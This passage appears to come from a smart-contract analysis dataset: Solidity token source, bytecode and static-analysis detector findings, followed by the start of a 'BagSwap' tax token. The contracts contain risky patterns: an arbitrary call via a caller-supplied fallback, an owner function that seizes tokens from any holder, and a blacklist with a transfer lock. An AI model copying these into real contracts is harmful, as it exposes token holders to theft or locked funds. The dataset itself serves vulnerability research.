&& targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6060604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610181578063095ea7b31461020b57806318160ddd1461022d57806323b872dd14610252578063313ce5671461027a578063378dc3dc146102a357806340c10f19146102b65780634f25eced146102d857806364ddc605146102eb57806370a082311461037a5780637d64bcb4146103995780638da5cb5b146103ac57806394594625146103db57806395d89b411461042c5780639dc29fac1461043f578063a8f11eb914610150578063a9059cbb14610461578063b414d4b614610483578063be45fd62146104a2578063c341b9f614610507578063cbbe974b1461055a578063d39b1d4814610579578063dd62ed3e1461058f578063dd924594146105b4578063f0dc417114610643578063f2fde38b146106d2578063f6368f8a146106f1575b610158610798565b005b341561016557600080fd5b61016d61090d565b604051901515815260200160405180910390f35b341561018c57600080fd5b610194610916565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d05780820151838201526020016101b8565b50505050905090810190601f1680156101fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021657600080fd5b61016d600160a060020a03600435166024356109be565b341561023857600080fd5b610240610a2a565b60405190815260200160405180910390f35b341561025d57600080fd5b61016d600160a060020a0360043581169060243516604435610a30565b341561028557600080fd5b61028d610c3f565b60405160ff909116815260200160405180910390f35b34156102ae57600080fd5b610240610c48565b34156102c157600080fd5b61016d600160a060020a0360043516602435610c4e565b34156102e357600080fd5b610240610d50565b34156102f657600080fd5b610158600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d5695505050505050565b341561038557600080fd5b610240600160a060020a0360043516610eb0565b34156103a457600080fd5b61016d610ecb565b34156103b757600080fd5b6103bf610f38565b604051600160a060020a03909116815260200160405180910390f35b34156103e657600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f4792505050565b341561043757600080fd5b6101946111d5565b341561044a57600080fd5b610158600160a060020a0360043516602435611248565b341561046c57600080fd5b61016d600160a060020a0360043516602435611330565b341561048e57600080fd5b61016d600160a060020a036004351661140b565b34156104ad57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061142095505050505050565b341561051257600080fd5b61015860046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114eb9050565b341561056557600080fd5b610240600160a060020a03600435166115ed565b341561058457600080fd5b6101586004356115ff565b341561059a57600080fd5b610240600160a060020a036004358116906024351661161f565b34156105bf57600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061164a95505050505050565b341561064e57600080fd5b61016d6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118fc95505050505050565b34156106dd57600080fd5b610158600160a060020a0360043516611bca565b34156106fc57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c6595505050505050565b60006007541180156107c65750600754600154600160a060020a031660009081526009602052604090205410155b80156107eb5750600160a060020a0333166000908152600b602052604090205460ff16155b801561080e5750600160a060020a0333166000908152600c602052604090205442115b151561081957600080fd5b600034111561085657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561085657600080fd5b600754600154600160a060020a03166000908152600960205260409020546108839163ffffffff611fbd16565b600154600160a060020a039081166000908152600960205260408082209390935560075433909216815291909120546108c19163ffffffff611fcf16565b600160a060020a033381166000818152600960205260409081902093909355600154600754919392169160008051602061240a83398151915291905190815260200160405180910390a3565b60085460ff1681565b61091e6123f7565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b820191906000526020600020905b81548152906001019060200180831161099757829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60065490565b6000600160a060020a03831615801590610a4a5750600082115b8015610a6f5750600160a060020a038416600090815260096020526040902054829010155b8015610aa25750600160a060020a038085166000908152600a602090815260408083203390941683529290522054829010155b8015610ac75750600160a060020a0384166000908152600b602052604090205460ff16155b8015610aec5750600160a060020a0383166000908152600b602052604090205460ff16155b8015610b0f5750600160a060020a0384166000908152600c602052604090205442115b8015610b325750600160a060020a0383166000908152600c602052604090205442115b1515610b3d57600080fd5b600160a060020a038416600090815260096020526040902054610b66908363ffffffff611fbd16565b600160a060020a038086166000908152600960205260408082209390935590851681522054610b9b908363ffffffff611fcf16565b600160a060020a038085166000908152600960209081526040808320949094558783168252600a8152838220339093168252919091522054610be3908363ffffffff611fbd16565b600160a060020a038086166000818152600a60209081526040808320338616845290915290819020939093559085169160008051602061240a8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610c6c57600080fd5b60085460ff1615610c7c57600080fd5b60008211610c8957600080fd5b600654610c9c908363ffffffff611fcf16565b600655600160a060020a038316600090815260096020526040902054610cc8908363ffffffff611fcf16565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a038316600060008051602061240a8339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610d7457600080fd5b60008351118015610d86575081518351145b1515610d9157600080fd5b5060005b8251811015610eab57818181518110610daa57fe5b90602001906020020151600c6000858481518110610dc457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610df257600080fd5b818181518110610dfe57fe5b90602001906020020151600c6000858481518110610e1857fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e4857fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e8857fe5b9060200190602002015160405190815260200160405180910390a2600101610d95565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610ee957600080fd5b60085460ff1615610ef957600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f5c575060008551115b8015610f815750600160a060020a0333166000908152600b602052604090205460ff16155b8015610fa45750600160a060020a0333166000908152600c602052604090205442115b1515610faf57600080fd5b610fc3846305f5e10063ffffffff611fde16565b9350610fd78551859063ffffffff611fde16565b600160a060020a0333166000908152600960205260409020549092508290101561100057600080fd5b5060005b84518110156111885784818151811061101957fe5b90602001906020020151600160a060020a03161580159061106e5750600b600086838151811061104557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156110b35750600c600086838151811061108557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110be57600080fd5b61110284600960008885815181106110d257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fcf16565b6009600087848151811061111257fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061114257fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3600101611004565b600160a060020a0333166000908152600960205260409020546111b1908363ffffffff611fbd16565b33600160a060020a0316600090815260096020526040902055506001949350505050565b6111dd6123f7565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b60015433600160a060020a0390811691161461126357600080fd5b60008111801561128c5750600160a060020a038216600090815260096020526040902054819010155b151561129757600080fd5b600160a060020a0382166000908152600960205260409020546112c0908263ffffffff611fbd16565b600160a060020a0383166000908152600960205260409020556006546112ec908263ffffffff611fbd16565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600061133a6123f7565b6000831180156113635750600160a060020a0333166000908152600b602052604090205460ff16155b80156113885750600160a060020a0384166000908152600b602052604090205460ff16155b80156113ab5750600160a060020a0333166000908152600c602052604090205442115b80156113ce5750600160a060020a0384166000908152600c602052604090205442115b15156113d957600080fd5b6113e284612009565b156113f9576113f2848483612011565b9150611404565b6113f2848483612274565b5092915050565b600b6020526000908152604090205460ff1681565b6000808311801561144a5750600160a060020a0333166000908152600b602052604090205460ff16155b801561146f5750600160a060020a0384166000908152600b602052604090205460ff16155b80156114925750600160a060020a0333166000908152600c602052604090205442115b80156114b55750600160a060020a0384166000908152600c602052604090205442115b15156114c057600080fd5b6114c984612009565b156114e0576114d9848484612011565b9050610c38565b6114d9848484612274565b60015460009033600160a060020a0390811691161461150957600080fd5b600083511161151757600080fd5b5060005b8251811015610eab5782818151811061153057fe5b90602001906020020151600160a060020a0316151561154e57600080fd5b81600b600085848151811061155f57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061159d57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161151b565b600c6020526000908152604090205481565b60015433600160a060020a0390811691161461161a57600080fd5b600755565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b6000806000808551118015611660575083518551145b80156116855750600160a060020a0333166000908152600b602052604090205460ff16155b80156116a85750600160a060020a0333166000908152600c602052604090205442115b15156116b357600080fd5b5060009050805b84518110156118055760008482815181106116d157fe5b9060200190602002015111801561170557508481815181106116ef57fe5b90602001906020020151600160a060020a031615155b80156117455750600b600086838151811061171c57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561178a5750600c600086838151811061175c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561179557600080fd5b6117bf6305f5e1008583815181106117a957fe5b906020019060200201519063ffffffff611fde16565b8482815181106117cb57fe5b602090810290910101526117fb8482815181106117e457fe5b90602001906020020151839063ffffffff611fcf16565b91506001016116ba565b600160a060020a0333166000908152600960205260409020548290101561182b57600080fd5b5060005b84518110156111885761186184828151811061184757fe5b90602001906020020151600960008885815181106110d257fe5b6009600087848151811061187157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558481815181106118a157fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061240a8339815191528684815181106118d957fe5b9060200190602002015160405190815260200160405180910390a360010161182f565b6001546000908190819033600160a060020a0390811691161461191e57600080fd5b60008551118015611930575083518551145b151561193b57600080fd5b5060009050805b8451811015611ba157600084828151811061195957fe5b9060200190602002015111801561198d575084818151811061197757fe5b90602001906020020151600160a060020a031615155b80156119cd5750600b60008683815181106119a457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015611a125750600c60008683815181106119e457fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a1d57600080fd5b611a316305f5e1008583815181106117a957fe5b848281518110611a3d57fe5b60209081029091010152838181518110611a5357fe5b9060200190602002015160096000878481518110611a6d57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a9c57600080fd5b611af5848281518110611aab57fe5b9060200190602002015160096000888581518110611ac557fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fbd16565b60096000878481518110611b0557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b388482815181106117e457fe5b915033600160a060020a0316858281518110611b5057fe5b90602001906020020151600160a060020a031660008051602061240a833981519152868481518110611b7e57fe5b9060200190602002015160405190815260200160405180910390a3600101611942565b600160a060020a0333166000908152600960205260409020546111b1908363ffffffff611fcf16565b60015433600160a060020a03908116911614611be557600080fd5b600160a060020a0381161515611bfa57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c8f5750600160a060020a0333166000908152600b602052604090205460ff16155b8015611cb45750600160a060020a0385166000908152600b602052604090205460ff16155b8015611cd75750600160a060020a0333166000908152600c602052604090205442115b8015611cfa5750600160a060020a0385166000908152600c602052604090205442115b1515611d0557600080fd5b611d0e85612009565b15611fa757600160a060020a03331660009081526009602052604090205484901015611d3957600080fd5b600160a060020a033316600090815260096020526040902054611d62908563ffffffff611fbd16565b600160a060020a033381166000908152600960205260408082209390935590871681522054611d97908563ffffffff611fcf16565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b60208310611de55780518252601f199092019160209182019101611dc6565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e76578082015183820152602001611e5e565b50505050905090810190601f168015611ea35780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ec757fe5b826040518082805190602001908083835b60208310611ef75780518252601f199092019160209182019101611ed8565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3506001611fb5565b611fb2858585612274565b90505b949350505050565b600082821115611fc957fe5b50900390565b600082820183811015610c3857fe5b600080831515611ff15760009150611404565b5082820282848281151561200157fe5b0414610c3857fe5b6000903b1190565b600160a060020a03331660009081526009602052604081205481908490101561203957600080fd5b600160a060020a033316600090815260096020526040902054612062908563ffffffff611fbd16565b600160a060020a033381166000908152600960205260408082209390935590871681522054612097908563ffffffff611fcf16565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612130578082015183820152602001612118565b50505050905090810190601f16801561215d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561217d57600080fd5b6102c65a03f1151561218e57600080fd5b505050826040518082805190602001908083835b602083106121c15780518252601f1990920191602091820191016121a2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600960205260408120548390101561229a57600080fd5b600160a060020a0333166000908152600960205260409020546122c3908463ffffffff611fbd16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546122f8908463ffffffff611fcf16565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b602083106123455780518252601f199092019160209182019101612326565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a031660008051602061240a8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820a3eb92e299c85f29c0a4c8316a78ee538f817b8b037b0d97a786e0b3bec3fccf0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,015
0x48c9dd74e5ce7aeb6677ec852b864ed7732bee55
/** *Submitted for verification at Etherscan.io on 2021-12-26 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BagSwap is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BagSwap"; string private constant _symbol = "BSWAP"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _devTax = 4; uint256 private _marketingTax = 4; uint256 private _salesTax = 3; uint256 private _summedTax = _marketingTax+_salesTax; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Deployer; address payable private _devWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable marketingTaxAddress, address payable devfeeAddr, address payable depAddr) { _Marketingfund = marketingTaxAddress; _Deployer = depAddr; _devWalletAddress = devfeeAddr; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_devWalletAddress] = true; _isExcludedFromFee[_Deployer] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_devTax == 0 && _summedTax == 0) return; _devTax = 0; _summedTax = 0; } function restoreAllFee() private { _devTax = 4; _marketingTax = 4; _salesTax = 3; _summedTax = _marketingTax+_salesTax; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } // This is done to prevent the taxes from filling up in the router since compiled taxes emptying can impact the chart. // This reduces the impact of taxes on the chart. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || 